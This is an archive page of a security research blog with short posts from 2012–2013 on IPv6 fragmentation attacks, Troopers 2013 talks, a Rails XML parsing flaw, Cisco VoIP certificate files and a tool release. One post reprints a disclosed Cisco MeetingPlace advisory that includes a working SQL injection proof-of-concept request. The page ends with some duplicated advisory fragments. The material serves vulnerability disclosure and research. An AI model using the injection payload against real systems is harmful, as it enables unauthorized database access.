Insinuator.net – Page 71 – Bold Statements

January 29, 2013 by swengel

Fragmentation (overlapping) attacks in IPv6. Have we learned our lesson, yet?

This is a guest post from Antonios Atlasis

It has been a year since fragmentation attacks in IPv6 were last examined publicly (in Black Hat Europe 2012). Issues well known from the IPv4 era appeared again in IPv6. Surprisingly enough, some of the most popular Operating Systems (OS), included ones considered “secure”, were proven to be vulnerable to such attacks, although fragmentation overlapping is strictly forbidden in IPv6 since 2009 (RFC5722). Some other OS, although in a better shape, still appeared to have some issues in specific cases.

But a year has already passed since then and the vendors should have fixed these issues now; or not? Definitely, a significant progress (in some cases) has been made but, is this enough? In the IPv6 Security Summit that will take place during Troopers13, in the “Fragmentation Overlapping Attacks Against IPv6: One Year Later” presentation, various fragmentation overlapping scenarios will be tested to examine if such attacks can still be successful or not. Detailed results of extensive tests will be presented and any non-compliant behaviors will be further discussed regarding the potential security implications.

Continue reading “Fragmentation (overlapping) attacks in IPv6. Have we learned our lesson, yet?”

Events

January 17, 2013 by Enno Rey

Troopers 2013 – Third Round of Talks Selected

We’re very happy to announce the third round of Troopers 2013 talks today (first round here, second here).

So much quality stuff… it seems to get (ever) better every year ;-).

Here we go:

==================

Michael Ossmann & Dominic Spill: Introducing Daisho – monitoring multiple communication technologies at the physical layer.

Synopsis: Most communications media can be monitored and debugged at various levels of the stack, but we believe that it is most important to examine them at the physical layer. From there, the security of every level can be investigated and tested. The task of monitoring physical layer communications has become increasingly difficult as we try to squeeze more and more bandwidth out of our links. A passive tapping circuit can be used to monitor a 100BASE-TX connections, but no such circuit exists for 1000BASE-T networks.

Our solution to this problem is Project Daisho; an open source hardware and software project to build a device that can monitor high speed communication links and pass all of the data back to a host system for analysis. Daisho will include a modular, high bandwidth design that can be extended to monitor future technologies. The project will also produce the first open source USB 3.0 FPGA core, bringing high speed data transfer to any projects that build on the open platform.
As a proof of concept at this early stage, we will demonstrate monitoring of a low bandwidth RS-232 connection using our first round of hardware and discuss the challenges involved with the high speed targets such as 1000BASE-T and USB 3.0 that we will take on later this year.

Bios: Michael Ossmann is known for his experience with radio communications technology and open source hardware design, having produced both the Ubertooth and HackRF as well as regularly teaching workshops on software defined radio. He has spoken about his work with software defined radio and Bluetooth at Troopers, Black Hat, DEF CON, ToorCon, ShmooCon and more.

Dominic Spill has been building a Bluetooth packet sniffer since 2007; last year he took over as lead developer for the Ubertooth and has recently begun working with Michael on Daisho. He has previously presented his Bluetooth work at DEF CON, ShmooCon, USENIX WOOT, and Kiwicon.

Both speakers have a passion for building open source tools to allow curious people to examine the technologies and protocols that we use to communicate.

Continue reading “Troopers 2013 – Third Round of Talks Selected”

Events

January 10, 2013 by Enno Rey

Troopers 2013 – Second Round of Talks Selected

We’re very happy to announce the second round of Troopers 2013 talks today (first round here).
Some (well, actually most ;-)) of these talks haven’t been presented before, at any other occasion, so this is exciting fresh material which was/is prepared especially for Troopers.

Here we go:

==================

Andreas Wiegenstein & Xu Jia: Ghost in the Shell. FIRST TIME MATERIAL

Synopsis: Security conferences in the past years have made it clear, that common security vulnerabilities such as SQL Injection, XSS, CSRF, HTTP verb tampering and many others also exist in SAP software. This talk covers several vulnerabilities that are unique to SAP systems and shows how these can be used in order to bypass crucial security mechanisms and at the same time operate completely below the (forensic) Radar. We uncovered undocumented mechanisms in the SAP kernel, that allow launching attacks that cannot be traced back to the attacker by forensic means. These mechanisms allow to *actively* inject commands at any time into the running backend-session of an arbitrary logged on user, chosen by the attacker. We named this attack mechanism “Ghost in the Shell”. We will also demo how to use this attack vector to distribute malware to the attacked user’s client machine despite mechanisms in the SAP standard that are designed to prevent this.

Bios: Andreas Wiegenstein has been working as a professional SAP security consultant since 2003. He performed countless SAP code audits and has been researching security defects specific to SAP / ABAP applications. As CTO, he leads the CodeProfiler Research Labs at Virtual Forge, a team focusing on SAP/ABAP specific vulnerabilities and countermeasures. At the CodeProfiler Labs, he works on ABAP security guidelines, ABAP security trainings, an ABAP security scanner as well as white papers and publications. Andreas has trained large companies and defense organizations on ABAP security and has spoken at SAP TechEd on several occasions as well as at security conferences such as Troopers, BlackHat, HITB, RSA as well as many smaller SAP specific conferences. He is co-author of the first book on ABAP security (SAP Press 2009). He is also member of BIZEC.org [LINK], the Business Security Community.

Xu Jia is researching SAP security topics since 2006. His focus is on static code nalysis for ABAP and he is the lead architect for a commercial SCA tool. Working in the CodeProfiler Research Labs at Virtual Forge, he also analyzes (ABAP) security defects in SAP standard software. Xu has submitted a significant number of 0-days to SAP, including multiple new forms of attack that are specific to SAP software. He already presented some of his research at the 16th IBS security conference, 2012 in Hamburg.

Continue reading “Troopers 2013 – Second Round of Talks Selected”

Breaking

January 8, 2013 by Felix Wilhelm

Analysis of Rails XML Parameter Parsing Vulnerability

This post tries to give an overview about the background and impact of the new Rails XML parameter parsing vulnerability patched today.

The bug

The root cause of the vulnerability is Rails handling of formatted parameters. In addition to standard GET and POST parameter formats, Rails can handle multiple different data encodings inside the body of POST requests. By default JSON and XML are supported. While support for JSON is widely used in production, the XML functionality does not seem to be known by many Rails developers.

XML parameter parsing

The code responsible for parsing these different data types is shown below:

# actionpack/lib/action_dispatch/middleware/params_parser.rb 
....
DEFAULT_PARSERS = {
      Mime::XML => : xml_simple,
      Mime::JSON => :json
    }
....
def parse_formatted_parameters(env)
        ...
        when Proc
          strategy.call(request.raw_post)
        when : xml_simple, : xml_node
          data = Hash.from_xml(request.raw_post) || {}
          data.with_indifferent_access
        when :yaml
          YAML.load(request.raw_post)
        when :json
          data = ActiveSupport::JSON.decode(request.raw_post)
          data = {:_json => data} unless data.is_a?(Hash)
          data.with_indifferent_access
        else
          false
        end
...

Continue reading “Analysis of Rails XML Parameter Parsing Vulnerability”

Breaking

January 3, 2013 by Daniel Mende

All Your Calls Are Still Belong to Us – continued

Hi again and a happy new year 2013!

Lets continue were I left you the last time.

The CTL

The CTL is basically a binary TLV file with 1 byte type, followed by 2 bytes length and finally the data. But as this is far to easy, some special fields omit the length field and just place the data after the type (I guess those are fields with a fixed length). Here is an example CTL file:

Red fields are the types (counting up), green fields are the length (note the missing length on some fileds) and the purple field contains the data (in this case data with a length of 8 bytes and a type 0x05, which is the signing cert serial number btw. [and yes, this is a real example; Cisco signs phone loads with this ‘random’ cert]).

The CTL contains a header with types from 0x01 to 0x0f which is padded with 0x0d. The same header is used for the signed files .sgn from the TFTP server later on. The header describes the file version, the header length, the certificate the file is signed by (further called Signing Cert), the corresponding Certificate Authority, the file name, the files time stamp and finally the signature. The header is followed by multiple cert entries, which again use types 0x01 to 0x0f. The cert entry contains a role field 0x04 which describes the use of the cert. We are interested in the CAPF cert (0x04) and the Call Manager cert (0x02).
Continue reading “All Your Calls Are Still Belong to Us – continued”

Breaking

December 27, 2012 by Daniel Mende

All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution

Some of you may have heard the topic before, as we have spoken about on this years BlackHat Europe, TROOPERS12 and HES12, so this is nothing completely new, but as we’re done with responsible disclosure (finally (-; ) and all the stuff should be fixed, we’re going to publish the code that brought us there. I will split the topic into two blog posts, this one will wrap up the setup, used components and protocols, the next one [tbd. till EOY, hopefully] will get into detail on the tools and techniques we used to break the enterprise grade security.

The Components

First lets take a look on all the components involved in the setup:

As you can see in the picture, there are a lot of components and even more certificates involved. From left to right: Continue reading “All Your Calls Are Still Belong to Us – aka. Hacking Cisco high secure Enterprise VoIP Solution”

Events

December 23, 2012 by Enno Rey

Troopers 2013 – First Round of Talks Selected

We’re delighted to provide the first announcement of talks of next year’s Troopers edition. Looks like it’s going to be a great event again 😉
Here we go:

==================

Peter Kieseberg: Malicious pixels – QR-codes as attack vectors.

Synopsis: QR-Codes, a version of two-dimensional barcodes that are able to store quite large amounts of information, started gaining huge popularity throughout the last few years, including all sorts of new applications for them. Originating from the area of logistics, they found their ways into marketing and since the rise of modern smartphones with their ability to scan them in the street; they can be found virtually everywhere, often linking to sites on the internet. Currently even standards for paying using QR-codes were proposed and standardized. In this talk we will highlight possible attack vectors arising from the use of QR-Codes. Furthermore we will outline an algorithm for calculating near-collisions in order to launch phishing attacks and we will demonstrate the practical utilization of this technique.

Bio: Peter Kieseberg is a researcher at SBA Research, the Austrian non-profit research institute for IT-Security. He received a Dipl. Ing. (equivalent to MSc) degree in Technical Mathematics in Computer Science from the Vienna University of Technology. His research interests include digital forensics, fingerprinting of structured data and mobile security. Continue reading “Troopers 2013 – First Round of Talks Selected”

Breaking

November 8, 2012 by Daniel Mende

SQL Injection in Cisco MeetingPlace

Cisco has released a security advisory for a vulnerability we discovered last year.
For comparison here is our original advisory to cisco:

Security Advisory for Cisco Unified Communications Solution

Release Date: 11/8/2012
Author: Daniel Mende

1 SUMMARY
Multiple critical SQL injections exist in Cisco unified meeting place.

2 AFFECTED PRODUCTS
The following Products have been tested as vulnerable so far:
Cisco Unified Meetingplace with the following modules:
• MeetingPlace Agent 7.1.1.9
• MeetingPlace Audio Service 7.1.1.8
• MeetingPlace Gateway SIM 7.1.1.2
• MeetingPlace Replication Service 7.1.1.9
• MeetingPlace Master Service 7.1.1.8
• MeetingPlace Extension 7.1.1.8
• MeetingPlace Authentication Filter 7.1.1.8

3 DETAILS
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low

5 PROOF OF CONCEPT
POST /mpweb/scripts/mpx.dll HTTP/1.1
Host: 10.X.X.X
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://10.X.X.X/mpweb/scripts/mpx.dll
Cookie: cookies=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 571

SessionID=A40490A1-AB17-4C1E-BA4A-E3C5C90F62CA.1ED59E5C-A774-4546-8683-
AEB15D6FBD0D.55931857-6296-48ec-9434-3231c683c47d.ADadfjadlkeNmFhmplaihgkdDg
&wcMeetingID=&wcRecurMtgID=‘ or 1=1 —&URL0=wcBase.tpl&TXT0=Startseite&URL1=&
TXT1=&URL2=&TXT2=&URL3=&TXT3=&URL4=&TXT4=&URL5=&TXT5=&MtgCatToSearch=
%28all%2Bcategories%29&ML_PublicPosted=Yes&MtgIDToSearch=0000007&SchedulerID=
&wcRequest=&wcHash=&FormType=listmeetings&wcState=3&STPL=wcFindMtg.tpl&FTPL=
wcFindMtg.tpl&ML_List=MT_Today&ML_EndTime_Month=&ML_EndTime_Day=&ML_End
Time_Year=&ML_ShowContMtgs=Yes&SP_VLanguage=lang999i00

As we are at the topic of Cisco’s Unified Communications Solution, there is a lot more in the queue to come up, just be patient a little longer, it’ll be worth it (-;

cheers

/daniel

Breaking

November 8, 2012 by Daniel Mende

Loki for Windows released

Today is a great day, its the day, Loki finally runs on all big operating systems. Im proud to announce the first Loki release for Windows!

There are a few things not working (yet / at all) under Windows. Those are:

The WLCCP Module – ive not yet managed to build and link against asleap on windows [but time may help (-; ]
TCP-MD5 Auth for BGP – This will never work, as Windows has no TCP-MD5 impl. in the kernel
The MPLS Module – Had some hassle here with WinPcap, may be working in the future

The most testing so far was done on Windows 7 were all the other functions work as they do on Linux and Mac.

Download the installer here [1ebf2edbb0cdb631dc2704e82d9c2d778fac703d].

cheers

/daniel

This is a guest post from Antonios Atlasis

The bug

XML parameter parsing

The CTL

The Components

Security Advisory for Cisco Unified Communications Solution

Release Date: 11/8/2012 Author: Daniel Mende

1 SUMMARY Multiple critical SQL injections exist in Cisco unified meeting place.

3 DETAILS The following parameters are affected: http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING The severity rating based on CVSS Version 2: Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P) CVSS Version 2 Score: 6.5 Severity: Low

Release Date: 11/8/2012
Author: Daniel Mende

1 SUMMARY
Multiple critical SQL injections exist in Cisco unified meeting place.

3 DETAILS
The following parameters are affected:
http://$IP/mpweb/scripts/mpx.dll [POST Parameter wcRecurMtgID]

4 VULNERABILITY SCORING
The severity rating based on CVSS Version 2:
Base Vector: (AV:N / AC:L / Au:S / C:P / I:P / A:P)
CVSS Version 2 Score: 6.5
Severity: Low